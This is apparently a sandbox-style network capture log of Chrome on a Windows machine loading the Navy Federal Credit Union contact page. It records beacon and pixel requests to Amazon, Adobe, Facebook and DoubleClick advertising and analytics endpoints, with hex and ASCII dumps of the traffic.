Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	454	OUT	GET /ecm3?ex=comscore.com&id=f6a32d2159cd843527c203721a6aa167 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:33 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: DQDRD6M0KD2JJJJX5XHG Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.6	50450	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	430	OUT	GET /ecm3?ex=googleHMT&google_error=3 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:33 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: ETWH9JHNAZKJG8XRA2WM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.6	50451	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	458	OUT	GET /ecm3?ex=pubmatic.com&id=B19A8DF4-8C37-4A90-8417-78FD8ED98100 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:33 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: FNW8H72C3W8QTB0BBEZF Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.6	50452	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	633	OUT	GET /ecm3?ex=semasio&id=27F9076E5F83992F HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:33 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 9DPCPRH0QT68N7T1SQCH Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.6	50456	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:34 UTC	433	OUT	GET /ecm3?ex=semasio&id=27F9076E5F83992F HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:34 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:34 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 3XRY33SD1WPYC8AA64TW Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:34 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.6	50459	66.235.152.225	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:37 UTC	706	OUT	POST /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive Content-Length: 1163 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.navyfederal.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:37 UTC	1163	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 32 61 65 39 34 34 62 33 30 61 66 37 34 37 30 66 39 63 31 30 64 39 36 35 32 30 39 63 35 33 65 61 22 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 74 69 6d 65 4f 66 66 73 65 74 49 6e 4d 69 6e 75 74 65 73 22 3a 2d 32 34 30 2c 22 63 68 61 6e 6e 65 6c 22 3a 22 77 65 62 22 2c 22 73 63 72 65 65 6e 22 3a 7b 22 77 69 64 74 68 22 3a 31 32 38 30 2c 22 68 65 69 Data Ascii: {"requestId":"2ae944b30af7470f9c10d965209c53ea","context":{"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","timeOffsetInMinutes":-240,"channel":"web","screen":{"width":1280,"hei
2024-05-24 22:46:37 UTC	845	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:37 GMT content-type: application/json;charset=UTF-8 vary: origin,access-control-request-method,access-control-request-headers,accept-encoding access-control-allow-origin: https://www.navyfederal.org access-control-allow-credentials: true x-request-id: 9058d2e2-eb44-409c-b493-313f38984a8b timing-allow-origin: * accept-ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:46:37 UTC	4805	IN	Data Raw: 31 32 62 38 0d 0a 7b 22 73 74 61 74 75 73 22 3a 32 30 30 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 32 61 65 39 34 34 62 33 30 61 66 37 34 37 30 66 39 63 31 30 64 39 36 35 32 30 39 63 35 33 65 61 22 2c 22 63 6c 69 65 6e 74 22 3a 22 6e 61 76 79 66 65 64 65 72 61 6c 63 75 22 2c 22 69 64 22 3a 7b 22 74 6e 74 49 64 22 3a 22 61 63 63 39 65 64 66 37 35 63 31 38 34 32 31 30 61 63 37 34 65 37 32 63 63 34 34 64 30 66 33 35 2e 33 37 5f 30 22 2c 22 6d 61 72 6b 65 74 69 6e 67 43 6c 6f 75 64 56 69 73 69 74 6f 72 49 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 7d 2c 22 65 64 67 65 48 6f 73 74 22 3a 22 6d 62 6f 78 65 64 67 65 33 37 2e 74 74 2e 6f 6d 74 72 64 63 2e 6e 65 74 22 2c 22 70 72 Data Ascii: 12b8{"status":200,"requestId":"2ae944b30af7470f9c10d965209c53ea","client":"navyfederalcu","id":{"tntId":"acc9edf75c184210ac74e72cc44d0f35.37_0","marketingCloudVisitorId":"19471654271041955080390332448085131267"},"edgeHost":"mboxedge37.tt.omtrdc.net","pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.6	50466	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:39 UTC	856	OUT	GET /tr/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:39 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=96, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 24 May 2024 22:46:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.6	50465	157.240.0.35	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:39 UTC	948	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=125275241484882&ev=PageView&dl=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&rl=&if=false&ts=1716590797195&sw=1280&sh=1024&v=2.9.156&r=stable&ec=0&o=4126&fbp=fb.1.1716590756253.2112400685&cs_est=true&ler=empty&cdl=API_unavailable&it=1716590796655&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:40 UTC	1213	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png attribution-reporting-register-trigger: {"event_trigger_data":[{"trigger_data":"0"}],"aggregatable_trigger_data":[{"key_piece":"0xb5e83eb98ec6ef14","source_keys":["1","2"]},{"key_piece":"0x0ceacad5477edfa0","source_keys":["1","2"]}],"aggregatable_values":{"1":1}} reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-05-24 22:46:40 UTC	1144	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 74 79 6c 65 2d 73 72 63 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 64 61 74 61 3a 20 2a 2e 66 61 63 65 62 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: *.faceb
2024-05-24 22:46:40 UTC	1785	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), battery=(self), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewpo
2024-05-24 22:46:40 UTC	78	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.6	50467	142.250.185.166	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1402	OUT	GET /activityi;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: 9749892.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg; _dpm_ses.4d04=*; _dpm_id.4d04=62ee9019-96e3-4db4-9307-4201e701ba8f.1716590761.1.1716590761.1716590761.30350b8a-ca27-426c-b033-4c9e26c0870b
2024-05-24 22:46:41 UTC	1156	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9749892.fls.doubleclick.net/activityi;dc_pre=CKeZtIevp4YDFZI5BgAd2RgBnQ;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
459	192.168.2.6	50468	216.58.212.130	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1273	OUT	GET /td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:41 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-24 22:46:41 UTC	18	IN	Data Raw: 64 0d 0a 3c 68 74 6d 6c 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: d<html></html>
2024-05-24 22:46:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
460	192.168.2.6	50471	216.58.206.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:40 UTC	1244	OUT	GET /activity;register_conversion=1;src=9749892;type=gener0;cat=conta0;ord=3291343058461;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=834203213;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html? HTTP/1.1 Host: ad.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger=navigation-source Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1; IDE=AHWqTUnJLzGcOG4MFVYIS8TOm-CYLesBVV9TdU5yvG7vxeBvHrF0XTcFjy72vWB7ZBg
2024-05-24 22:46:41 UTC	4570	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Attribution-Reporting-Register-Trigger: 